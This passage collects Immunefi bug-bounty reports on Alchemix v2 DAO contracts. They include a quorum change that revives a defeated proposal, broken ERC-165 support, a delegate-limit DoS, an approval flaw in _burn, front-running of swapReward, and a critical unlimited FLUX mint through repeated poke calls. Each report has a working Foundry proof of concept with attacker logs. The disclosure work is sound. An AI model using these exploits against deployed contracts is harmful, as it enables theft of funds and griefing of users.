        // Create veALCX for 0xbeef
        createVeAlcx(beef, TOKEN_1 * 10_000, MAXTIME, false);

        // Can't propose and vote in the same block as a veALCX is created
        hevm.warp(block.timestamp + 1);
    }

    function test_PastDefeatedProposalCanPassAfterQuorumDecrease() public {
        assertFalse(voter.isWhitelisted(usdc));

        // craft a proposal to make voter whitelist usdc
        (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();

        // propose
        hevm.startPrank(admin);
        uint256 pid = governor.propose(t, v, c, d, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // delay
        hevm.stopPrank();

        // vote
        hevm.startPrank(beef);
        governor.castVote(pid, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay
        hevm.stopPrank();

        uint256 votingPower = veALCX.getVotes(beef);
        uint256 quorum = governor.quorum(block.timestamp);
        assertGt(quorum, votingPower, "quorum should be greater than voting power");

        // execute - fail due to lack of quorum
        hevm.expectRevert(abi.encodePacked("Governor: proposal not successful"));
        governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);

        // assume the DAO decides to decrease the QuorumNumerator
        updateQuorumNumerator(50);

        // As a result, a a past defeated proposal due to lack of quorum now meets the new quorum requirement
        votingPower = veALCX.getVotes(beef);
        quorum = governor.quorum(block.timestamp);
        assertLt(quorum, votingPower, "quorum should be less than voting power");


        // now the past defeated proposal can be executed
        governor.execute(t, v, c, keccak256(bytes(d)), MAINNET);
        assertTrue(voter.isWhitelisted(usdc));
    }

    function craftTestProposal()
        internal
        view
        returns (address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
    {
        targets = new address[](1);
        targets[0] = address(voter);
        values = new uint256[](1);
        values[0] = 0;
        calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSelector(voter.whitelist.selector, usdc);
        description = "Whitelist USDC";
    }

    function updateQuorumNumerator(uint256 newQuorumNumerator) internal {

        address[] memory targets = new address[](1);
        targets[0] = address(governor);
        uint256[] memory values = new uint256[](1);
        values[0] = 0;
        bytes[] memory calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSelector(governor.updateQuorumNumerator.selector, newQuorumNumerator);
        string memory description = "Update QuorumNumerator";

        hevm.startPrank(admin);
        uint256 pid = governor.propose(targets, values, calldatas, description, MAINNET);
        hevm.warp(block.timestamp + governor.votingDelay() + 1); // delay

        governor.castVote(pid, 1);
        hevm.warp(block.timestamp + governor.votingPeriod() + 1); // voting period
        hevm.warp(block.timestamp + timelockExecutor.executionDelay() + 1); // execution delay

        governor.execute(targets, values, calldatas, keccak256(bytes(description)), MAINNET);
        hevm.stopPrank();
    }
}
```

This PoC inherits the [BaseTest](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/test/BaseTest.sol) contract for its `setupContracts()` and `createVeAlcx()` functionalities.

The `test_PastDefeatedProposalCanPassAfterQuorumDecrease()` test case demonstrates the following scenario:

1. An admin proposes a proposal to whitelist USDC in the Voter contract.
2. The user (beef) votes in favor of this proposal.
3. After the voting period, the proposal cannot be executed since the quorum is not reached.
4. However, if the DAO later decides to decrease the quorum requirement, the previously defeated proposal can now pass and be executed.

Run the PoC using the following command:

```
forge test --mt test_PastDefeatedProposalCanPassAfterQuorumDecrease --fork-url $URL --fork-block-number=17133822
```

This should pass the test case.


# 30565 - \[SC - Low] veALCX does not comply with ERC breaking compos...

Submitted on Apr 30th 2024 at 22:36:45 UTC by @marchev for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30565

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

veALCX is intended to be ERC721 compliant. However, it does not comply with ERC721 due to broken EIP165 implementation which is mandated by the ERC721 specification.

## Vulnerability Details

The [ERC721 specification](https://eips.ethereum.org/EIPS/eip-721) states the following:

> **Every ERC-721 compliant contract must implement the `ERC721` and `ERC165` interfaces**

This means that every compliant ERC721 token must implement EIP-165 and return `true` for all supported interfaces. veALCX (`VotingEscrow.sol`) implements both `IERC721` and `IERC721Metadata`. However, the `VotingEscrow#supportInterface()` does not work as intended:

```sol
    function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
        revert("function not supported");
    }
```

As per the [EIP-165 specification](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165), this implementation does not comply with EIP-165 (which is mandated by ERC721):

> How to Detect if a Contract Implements ERC-165
>
> 1. The source contract makes a `STATICCALL` to the destination address with input data: `0x01ffc9a701ffc9a700000000000000000000000000000000000000000000000000000000` and gas 30,000. This corresponds to `contract.supportsInterface(0x01ffc9a7)`.
> 2. If the call fails or return false, the destination contract does not implement ERC-165.

Thus, `VotingEscrow` does not implement EIP-165 and is not ERC721 compliant.

In pursuit of thoroughness and transparency, it's crucial to reference **Finding 6.45** in [Chainsecurity's audit](https://drive.google.com/file/d/1YsO1t1-hSK1wkHajT_GAZ-u35O1Su74X/view) which reports broken/partial EIP165 support. However, the applied fix is incorrect and breaks the intended compliance with ERC721. Recognizing and addressing the currently reported issue is vital for the compliance and composability of the veALCX token.

## Impact Details

The token does not comply with the ERC721 standard, which causes composability and interoperability issues. This leads to failures when other contracts and DApps expect standard behaviors that the token does not provide, potentially causing disruptions, reducing its utility, and diminishing trust in the token's reliability.

## References

Problematic implementation:

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L174-L176>

Docs references which state that ERC721 compliance is expected:

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L16>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/CONTRACTS.md>

## Proof of Concept

Add the following test to `src/test/VotingEscrow.t.sol`:

```sol

    function test_eip165_compliance_is_broken() public {
        // As per https://eips.ethereum.org/EIPS/eip-721#specification:
        // "Every ERC-721 compliant contract must implement the ERC721 and ERC165 interfaces"
        assertEq(veALCX.supportsInterface(0x01ffc9a7), true); // ERC165
        assertEq(veALCX.supportsInterface(0x80ac58cd), true); // ERC721
        assertEq(veALCX.supportsInterface(0x5b5e139f), true); // ERC721Metadata
    }
```

Make sure the following entries are updated in `Makefile`:

```sh
# file to test 
FILE=VotingEscrow

# specific test to run
TEST=test_eip165_compliance_is_broken
```

Run the PoC via `make test_file_test`


# 30584 - \[SC - Insight] Invalid check to make sure Minter is already in...

Submitted on May 1st 2024 at 13:08:37 UTC by @kankodu for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30584

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Minter.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

* A meaningless check

## Vulnerability Details

* In `Minter.initialize` function, there is this check `require(msg.sender != address(0), "already initialized");` that is supposed to make sure it throws an error Minter is already initialized. This check is meaningless.
* msg.sender won't ever be equal to address(0). There is no circumstance where this error will be thrown.
* If the error is moved before `require(initializer == msg.sender, "not initializer");` and updated with `require(initializer != address(0), "already initialized");` in that case it makes sense. It will now throw an error that Minter is already initialized if someone (including the previous initializer) tries to initialise it again.

```solidity
  function initialize() external {
        require(initializer != address(0), "already initialized");
        require(initializer == msg.sender, "not initializer");
        initializer = address(0);
    }
```

## Impact Details

* Contract fails to deliver promised returns, but doesn't lose value
* A useful error won't ever be thrown if it is left as it is.

## References

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Minter.sol?utm\\_source=immunefi#L98>

## Proof of Concept

* Take a look at [this](https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/test/Minter.t.sol#L343) test.
  * It has to impersonate the address(0) for the error to be thrown. In real environment this won't be possible.


# 30592 - \[SC - Medium] DOS attack by delegating tokens at MAX\_DELEGATE...

Submitted on May 1st 2024 at 15:20:17 UTC by @oxumarkhatab for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30592

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Permanent freezing of NFTs
* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

In Alchemix v2 DAO's `VotingEscrow` contract, the `MAX_DELEGATES` limit is set to `1024`. This amount of delegates takes 25M gas to be processed,.However if the contracts are deployed on EVM chains having less than 25M gas block limit , Especially Optimism which has only 15M gas limit.There will be denial of service in system's core opeations especially during token transfer/withdrawal when there are 1024 delegated votes on a token.

## Resubmission

This report is a resubmission of Repoer#30549 but this one includes a runnable PoC whose output is also attached in the given secret gist.

## Vulnerability details

Any user can give their locked NFT balance to someone else using the "delegate" function. But in the "VotingEscrow" contract, there's a rule called MAX\_DELEGATES. It stops any address from having too many tokens.

here is the relevant code

VotingEscrow\.sol

```solidity

// state variable
 Line 34   uint256 public constant MAX_DELEGATES = 1024; // avoid too much gas
...
_moveTokenDelegates() method
L1040 :                require(dstTokensOld.length + 1 <= MAX_DELEGATES, "dst would have too many tokenIds");

...
_moveAllDelegates() method

 require(dstTokensOld.length + ownerTokenCount <= MAX_DELEGATES, "dst would have too many tokenIds");

```

This rule helps stop attacks that could slow down or stop the contract.

Right now, if a user has 1024 delegated tokens, it takes about 25 million gas to move, burn, or make new tokens.

The `_moveTokenDelegates` is invoked inside mint , burn & transferFrom

```solidity

  function _transferFrom(address _from, address _to, uint256 _tokenId, address _sender) internal {
        //snip
        _moveTokenDelegates(delegates(_from), delegates(_to), _tokenId);
        //snip
    }
      function _mint(address _to, uint256 _tokenId) internal returns (bool) {
         //snip
        _moveTokenDelegates(address(0), delegates(_to), _tokenId);
        //snip
    }
    
      function _burn(uint256 _tokenId, uint256 _value) internal {
         //snip
        _moveTokenDelegates(delegates(owner), address(0), _tokenId);
        //snip
        
    }
```

But the gas limit on some target chains might be less than 25M gas , Most importanly one of the optimism chain which is only 15 million.

As Alchemix already has deployed contracts across EVM chains like Arbitrum & Optimism

<https://alchemix-finance.gitbook.io/user-docs/contracts#optimism>

we see its a Critical concern.

Also, it's cheaper to give tokens from an address with fewer tokens to one with more.

This sets up a problem. An attacker could make a new address, lock tokens, and give them to someone else and cause DoS to them for spending their tokens.

## Impact

* Increased gas costs for token transfer/withdrawal when there are 1024 delegated votes on a token.
* Potential denial of service (DoS) attack on victims, preventing them from withdrawing/transferring/delegating.

## Verification

This finding is inspired and verified from

Spearbit's Velodrome Audit : <https://solodit.xyz/issues/dos-attack-by-delegating-tokens-at-max\\_delegates-1024-spearbit-none-velodrome-finance-pdf>

## Recommendation

1. **Adjust MAX\_DELEGATES:** Reduce MAX\_DELEGATES from 1024 to 128 to mitigate the risk of gas exhaustion during token transfer/withdrawal.
2. **Opt-out/Opt-in Mechanism:** Provide users with the option to opt-out/opt-in. Users should only accept delegated tokens if they opt-in. Alternatively, they can opt-out to refuse any uncommissioned delegated tokens.

## Proof of Concept

Please check the provided gist.


# 30598 - \[SC - Low] Access Control Flaw in \_burn Function Leads to ...

Submitted on May 1st 2024 at 19:08:15 UTC by @Limbooo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30598

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value
* Temporary freezing of NFTs

## Description

## Brief/Intro

The vulnerability in the VotingEscrow contract arises due to an access control flaw within the \_burn function, which inappropriately handles approval resetting, requiring broader permissions than necessary. This flaw disrupts operations such as token merging and withdrawals, as transactions initiated by users who are only approved for specific token IDs (and not globally) revert unexpectedly. On mainnet, this could lead to operational disruptions, preventing users from consolidating voting power or accessing their funds post-lock period, thereby undermining user trust and the functionality of the contract. Such issues could significantly impact user engagement and the platform's overall reliability.

## Vulnerability Details

### Lines of Code

alchemix-v2-dao/src/VotingEscrow\.sol #L1567\[^1]

```solidity
src/VotingEscrow.sol:
1558      function _burn(uint256 _tokenId, uint256 _value) internal {
..SNIP..
1566:         // Clear approval
1567:         approve(address(0), _tokenId);
```

In `VotingEscrow.sol` contracts, there are multiple functions that allow whether the `msg.sender` is approved for the given token ID, is an operator of the owner, or is the owner of the token by utilizing `_isApprovedOrOwner` function.

```solidity
src/VotingEscrow.sol:
618      function merge(uint256 _from, uint256 _to) external {
..SNIP..
621:         require(_isApprovedOrOwner(msg.sender, _from), "not approved or owner");
622:         require(_isApprovedOrOwner(msg.sender, _to), "not approved or owner");
..SNIP..
714      function updateUnlockTime(uint256 _tokenId, uint256 _lockDuration, bool _maxLockEnabled) external nonreentrant {
715:         require(_isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
..SNIP..
741      function withdraw(uint256 _tokenId) public nonreentrant {
742:         require(_isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
..SNIP..
778      function startCooldown(uint256 _tokenId) external {
779:         require(_isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
..SNIP..
826:     function _isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
827          address owner = idToOwner[_tokenId];
828          bool spenderIsOwner = owner == _spender;
829          bool spenderIsApproved = _spender == idToApprovals[_tokenId];
830          bool spenderIsApprovedForAll = (ownerToOperators[owner])[_spender];
831          return spenderIsOwner || spenderIsApproved || spenderIsApprovedForAll;
832      }
..SNIP..
928      function _transferFrom(address _from, address _to, uint256 _tokenId, address _sender) internal {
..SNIP..
931:         require(_isApprovedOrOwner(_sender, _tokenId));
932:         require(idToOwner[_tokenId] == _from, "from address is not owner");
```

However, two of these functions are in question in this report; `merge` and `withdraw`, since the `_burn` function is used.

The `_burn` function within the `VotingEscrow` contract is designed to remove tokens from circulation by clearing approvals and performing other state updates. However, due to the way access control is implemented, only the token owner or an entity approved for all user tokens can successfully execute this function without causing a revert. This is because the function internally calls `approve(address(0), _tokenId)`, which checks for broader permissions than those granted to entities approved for a single token.

## Impact Details

This results in operational disruptions for users who are legitimately authorized to perform actions (like `merge` and `withdraw`) that rely on `_burn`. They may encounter transaction reverts, leading to:

* Inability to merge tokens for voting power consolidation or management.
* Failed attempts to withdraw tokens post-lock period, leading to user dissatisfaction and potential disruption in planned economic activities within the platform.

## Recommended Mitigation

* Consider refactoring approval logic in `_burn`, Modify the internal logic of the `_burn` function to handle cases where the caller is only approved for the specific token ID being burned. This could involve bypassing the approval reset or adjusting the approval check to recognize and allow this scenario.
* Consider standardizing the approval reset process to use `_clearApproval`, especially in contexts where specific token approval is sufficient. This would align the behavior across different contract functions and improve the reliability of operations involving token transfers, burns, or modifications.

## References

* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1567>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L501C1-L514C6>
* <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L912C5-L919C6>

## Proof of Concept

Consider a scenario where a user has received specific approval for token ID `123` to facilitate a token merge or withdrawal. Under the current implementation, if this user attempts to initiate these actions, the transaction will revert during the `_burn` call due to the internal [`approve`](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L501C1-L514C6) function not recognizing their limited approval as sufficient.

```solidity
src/VotingEscrow.sol:
  501      function approve(address _approved, uint256 _tokenId) public {
..SNIP..
  507          // Check requirements
  508          bool senderIsOwner = (owner == msg.sender);
  509          bool senderIsApprovedForAll = (ownerToOperators[owner])[msg.sender];
  510:         require(senderIsOwner || senderIsApprovedForAll, "sender is not owner or approved");
```

This scenario can be replicated in a test environment to demonstrate the failure mechanism and its impact on contract usability.

### Test Case (Foundry)

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract VotingEscrowPoC is BaseTest {
    uint256 internal constant THREE_WEEKS = 3 weeks;

    function setUp() public {
        setupContracts(block.timestamp);
    }

    // Withdraw reverts for token approved address
    function testWithdrawReversForTokenApprovedAddress() public {
        // Create address for Alice
        address alice = address(0x00001);

        // Create new token for Alice
        uint256 tokenId = createVeAlcx(alice, TOKEN_1, THREE_WEEKS, false);

        // alice start interacions
        hevm.startPrank(alice);

        // Reset the token status 
        voter.reset(tokenId);
        // Finish the epoch
        hevm.warp(newEpoch());
        voter.distribute();

        // Start cooldown once lock is expired
        veALCX.startCooldown(tokenId);
        // Go to the next epoch
        hevm.warp(newEpoch());

        // Now the token is withdrawable
        // Alice approve admin address on `tokenId`
        veALCX.approve(admin, tokenId);

        hevm.stopPrank();

        hevm.startPrank(admin);
        // Make sure admin is approved for alice token
        assertTrue(veALCX.isApprovedOrOwner(admin, tokenId));

        // Now if Admin try to withdraw, 
        // the call will revert with message that suggest the caller is not owner or approved.
        // While Admin is approved for the specific tokenId.
        hevm.expectRevert(abi.encodePacked("sender is not owner or approved"));
        veALCX.withdraw(tokenId);

        // This happen because the underline function `_burn` call `approve` with zero address to clear specific token approvals,
        // which revert if the caller not owner nor approved for all.
        hevm.expectRevert(abi.encodePacked("sender is not owner or approved"));
        veALCX.approve(address(0), tokenId);

        // However, Admin can use transferFrom function and then withdraw 
        veALCX.transferFrom(alice, admin, tokenId);
        veALCX.withdraw(tokenId);

        hevm.stopPrank();
    }
}
```

#### Test Output

```bash
alchemix-v2-dao main 1m38s
❯ make test_file_test
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/*** --match-path src/test/VotingEscrowPoC.t.sol --match-test testWithdrawReversForTokenApprovedAddress -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingEscrowPoC.t.sol:VotingEscrowPoC
[PASS] testWithdrawReversForTokenApprovedAddress() (gas: 7657391)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 90.57s (77.12s CPU time)

Ran 1 test suite in 91.85s (90.57s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 30613 - \[SC - Medium] malicious user can front run any call to the sw\...

Submitted on May 2nd 2024 at 03:23:54 UTC by @zeroK for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30613

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Brief/Intro

the function `voter.sol#swapReward` is meant to be used to update the reward token from old one to new one, this function is only callable by the admin and it make calls to the `Bribe.sol#swapOutRewardToken` which it updates the `isReward` from false to true for the newToken, and it set the old token index to the newToken address, however an attacker can front run the owner and cause Griefing plus preventing from setting the correct index to the newToken address, this issue can make loss to the owner by front run his/her TX and cause loss of gas + making the rewards length longer each time the attacker front run the owner call and preventing setting the correct index to the new token that the owner decide to set.

## Vulnerability Details

to call the swapReward function the owner first need to call the whitelist function to add the new token to whitelist, if not then the call to the swapReward is impossible because of the checks for the whitelist token the function `swapReward` make call to the swapOutRewardToken with the below inputs:

```solidity
 function swapReward(address gaugeAddress, uint256 tokenIndex, address oldToken, address newToken) external {
        require(msg.sender == admin, "only admin can swap reward tokens");
        IBribe(bribes[gaugeAddress]).swapOutRewardToken(tokenIndex, oldToken, newToken);
    }
```

as it shown the tokenIndex is set to update the token index when call made to the `swapOutRewardToken`:

```solidity
 function swapOutRewardToken(uint256 oldTokenIndex, address oldToken, address newToken) external {
        require(msg.sender == voter, "Only voter can execute");
        require(IVoter(voter).isWhitelisted(newToken), "New token must be whitelisted");
        require(rewards[oldTokenIndex] == oldToken, "Old token mismatch");

        // Check that the newToken does not already exist in the rewards array
        for (uint256 i = 0; i < rewards.length; i++) {
            require(rewards[i] != newToken, "New token already exists");
        }

        isReward[oldToken] = false;
        isReward[newToken] = true;

        // Since we've now ensured the new token doesn't exist, we can safely update
        rewards[oldTokenIndex] = newToken; // set the old index to the new token
```

however, malicious user can front run the owner call to the `swapReward` the moment that he/she realized that a new token added to the whitelist lists by calling the `notifyRewardAmount` directly from the bribe.sol contract, while this contract is external and allow anyone call it directly the malicious user can call it with the new whitelisted token address before the admin call and the notifyRewardAmount function will not set the correct index to the new token when call made to the `_addRewardToken`(it did not set index to it) and increase the `rewards` list :

```solidity

function notifyRewardAmount(address token, uint256 amount) external lock {
        require(amount > 0, "reward amount must be greater than 0");

        // If the token has been whitelisted by the voter contract, add it to the rewards list
        require(IVoter(voter).isWhitelisted(token), "bribe tokens must be whitelisted");
        _addRewardToken(token);

        // bribes kick in at the start of next bribe period
        uint256 adjustedTstamp = getEpochStart(block.timestamp);
        uint256 epochRewards = tokenRewardsPerEpoch[token][adjustedTstamp];

        IERC20(token).safeTransferFrom(msg.sender, address(this), amount);

        tokenRewardsPerEpoch[token][adjustedTstamp] = epochRewards + amount;
        periodFinish[token] = adjustedTstamp + DURATION;

        emit NotifyReward(msg.sender, token, adjustedTstamp, amount);
    }

function _addRewardToken(address token) internal {
        if (!isReward[token] && token != address(0)) {
            require(rewards.length < MAX_REWARD_TOKENS, "too many rewards tokens");
            require(IVoter(voter).isWhitelisted(token), "bribe tokens must be whitelisted");

            isReward[token] = true;
            rewards.push(token); // if the old index is 5 then we give the new token index 6 not 5, push increase the index
        }
    }
```

according to our calculation the amount of gas that the admin will loss according to this case is more than the amount that the malicious user need to front run the admin with tiny \`amount.

## Impact Details

malicious user can front run admin call to the `swapReward` and cause loss of gas to the admin + setting incorrect index to the new token that get added

## Recommend

we recommend to prevent any direct call to the `notifyRewardAmount` function in the bribe.sol and adding `require(msg.sender == voter)` to prevent this case which leads to Griefing.

## Proof of Concept

run the test file below in src/test

```solidity
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

import "lib/forge-std/src/console2.sol";
import "lib/forge-std/src/Test.sol";
import "./utils/DSTestPlus.sol";

import "src/VotingEscrow.sol";
import "src/AlchemixGovernor.sol";
import "src/FluxToken.sol";
import "src/Voter.sol";
import "src/Minter.sol";
import "src/RewardPoolManager.sol";
import "src/RewardsDistributor.sol";
import "src/RevenueHandler.sol";
import "src/Bribe.sol";
import "src/gauges/CurveGauge.sol";
import "src/gauges/PassthroughGauge.sol";
import "src/governance/TimelockExecutor.sol";
import "src/factories/BribeFactory.sol";
import "src/factories/GaugeFactory.sol";

import "src/interfaces/aura/MockCurveGaugeFactory.sol";
import "src/interfaces/IAlchemixToken.sol";
import "src/interfaces/IMinter.sol";
import "src/interfaces/balancer/WeightedPool2TokensFactory.sol";
import "src/interfaces/balancer/WeightedPoolUserData.sol";
import "src/interfaces/balancer/IVault.sol";
import "src/interfaces/IWETH9.sol";
import "src/gauges/StakingRewards.sol";
import "src/interfaces/aura/IRewardPool4626.sol";

contract testing is Test, BaseTest {
    uint256 public fakeToken;
    address public alice;

    IERC20 public usdd = IERC20(0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6);
    function setUp() public {
        setupContracts(block.timestamp);

        alice = vm.addr(1);
        deal(address(usdd), address(alice), 1 ether);
    }

    function test_attack() public {
        address bribeAddress = voter.bribes(address(sushiGauge));
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        hevm.startPrank(address(timelockExecutor));

        voter.whitelist(address(usdd));
        vm.startPrank(alice);
        usdd.approve(address(voter), type(uint256).max);
        usdd.approve(address(bribeAddress), type(uint256).max);

        IBribe(bribeAddress).notifyRewardAmount(address(usdd), 1000000000000000000);

        hevm.startPrank(address(timelockExecutor));
        // vm.expectRevert();
        voter.swapReward(address(sushiGauge), 0, dai, address(usdd));
    }
}


```


# 30634 - \[SC - Critical] Unauthorized minting of unlimited FLUX in tran...

Submitted on May 2nd 2024 at 16:22:35 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #30634

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

The absence of the `onlyNewEpoch(_tokenId)` modifier in the `poke(uint256 _tokenId)` function of the `Voter.sol` smart contract allows anyone to call `poke(uint256 _tokenId)` multiple times within the same transaction, inflating his accrued FLUX balance.

Finally, the malicious actor calls `FLUX.claimFlux(_tokenId, _amount)` to mint unlimited tokens.

Link to asset: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol?#L195>

To quickly test the exploit add the following foundry test to your existing tests in `alchemix-v2-dao/src/test/FluxToken.t.sol` and run:

```bash
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/{API_KEY} --match-path src/test/FluxToken.t.sol --match-test testRepeatedFluxAccrual -vv
```

> Replace \*{API\_KEY} \* with your Alchemy Api Key.

Foundry test:

```javascript
    function testRepeatedFluxAccrual() external {

        // Attacker's address
        address attacker = address(0x123);

        // Create a veALCX NFT
        uint256 tokenId = createVeAlcx(attacker, 1e18, veALCX.MAXTIME(), true);
        console2.log("Attacker mints 1 veALCX NFT with tokenId:", tokenId);

        // Attacker's balance before
        uint256 fluxBalance = flux.balanceOf(attacker);
        console2.log("Attacker's fluxBalance:", fluxBalance);

        // Attacker's unclaimed flux before
        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
        console2.log("Attacker's unclaimedFlux:", unclaimedFlux);

        console2.log("------------------> ATTACK STARTS ");
        console2.log("~ Attacker calls Voter.poke(_tokenId) in a loop to inflate his unclaimed FLUX balance");
        for(uint256 i = 0; i < 4; i++) {
            hevm.prank(attacker);
            voter.poke(tokenId);
        }
        console2.log("------------------> ATTACK ENDS");

        unclaimedFlux = flux.getUnclaimedFlux(tokenId);

        // Claim the unclaimed flux
        hevm.prank(attacker);
        flux.claimFlux(tokenId, unclaimedFlux);

        fluxBalance = flux.balanceOf(attacker);
        console2.log("Attacker's fluxBalance after claiming:", fluxBalance);

    }
```

The output will be:

```bash
Ran 1 test for src/test/FluxToken.t.sol:FluxTokenTest
[PASS] testRepeatedFluxAccrual() (gas: 1369039)
Logs:
  Attacker mints 1 veALCX NFT with tokenId: 1
  Attacker's fluxBalance: 0
  Attacker's unclaimedFlux: 0
  ------------------> ATTACK STARTS
  ~ Attacker calls Voter.poke(_tokenId) in a loop to inflate his unclaimed FLUX balance
  ------------------> ATTACK ENDS
  Attacker's fluxBalance after claiming: 3984666793472586540

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.00s (17.11s CPU time)
```

## Vulnerability Details

The internal `_vote(...)` function in the `Vote.sol` contract accrues rewards.

One of the public functions that trigger the accrual inside `_vote(...)` is `poke(...)`, which is missing the `onlyNewEpoch(_tokenId)` modifier that ensures rewards are only accrued once per epoch.

Without this modifier, an attacker can repeatedly call the `poke(...)` function within the same transaction inflating their unclaimed FLUX balance and finally mint the tokens by calling `flux.claimFlux(tokenId, unclaimedFlux)`.

## Impact Details

Minting unlimited FLUX tokens has several (quite evident) impacts. Here's some of them:

1- FLUX is an ERC20, minting unlimited FLUX leads to draining all liquidity in all AMMs where this token is deployed.

2- FLUX is used to **boost a veToken holder's voting power** and **exit a ve-position early**, so minting unlimited FLUX will completely destabilize Alchemix's ecosystem.

## Proof of Concept

To quickly test the exploit add the following foundry test to your existing tests in `alchemix-v2-dao/src/test/FluxToken.t.sol` and run:

```bash
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/{API_KEY} --match-path src/test/FluxToken.t.sol --match-test testRepeatedFluxAccrual -vv
```

> Replace \*{API\_KEY} \* with your Alchemy Api Key.

Foundry tests:

```javascript
    function testRepeatedFluxAccrual() external {

        // Attacker's address
        address attacker = address(0x123);

        // Create a veALCX NFT
        uint256 tokenId = createVeAlcx(attacker, 1e18, veALCX.MAXTIME(), true);
        console2.log("Attacker mints 1 veALCX NFT with tokenId:", tokenId);

        // Attacker's balance before
        uint256 fluxBalance = flux.balanceOf(attacker);
        console2.log("Attacker's fluxBalance:", fluxBalance);

        // Attacker's unclaimed flux before
        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
        console2.log("Attacker's unclaimedFlux:", unclaimedFlux);

        console2.log("------------------> ATTACK STARTS ");
        console2.log("~ Attacker calls Voter.poke(_tokenId) in a loop to inflate his unclaimed FLUX balance");
        for(uint256 i = 0; i < 4; i++) {
            hevm.prank(attacker);
            voter.poke(tokenId);
        }
        console2.log("------------------> ATTACK ENDS");

        unclaimedFlux = flux.getUnclaimedFlux(tokenId);

        // Claim the unclaimed flux
        hevm.prank(attacker);
        flux.claimFlux(tokenId, unclaimedFlux);

        fluxBalance = flux.balanceOf(attacker);
        console2.log("Attacker's fluxBalance after claiming:", fluxBalance);

    }
```

The output will be:

```bash
Ran 1 test for src/test/FluxToken.t.sol:FluxTokenTest
[PASS] testRepeatedFluxAccrual() (gas: 1369039)
Logs:
  Attacker mints 1 veALCX NFT with tokenId: 1
  Attacker's fluxBalance: 0
  Attacker's unclaimedFlux: 0
  ------------------> ATTACK STARTS
  ~ Attacker calls Voter.poke(_tokenId) in a loop to inflate his unclaimed FLUX balance
  ------------------> ATTACK ENDS
  Attacker's fluxBalance after claiming: 3984666793472586540

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.00s (17.11s CPU time)
```


# 30650 - \[SC - Critical] Infinite minting of FLUX through voterpoke

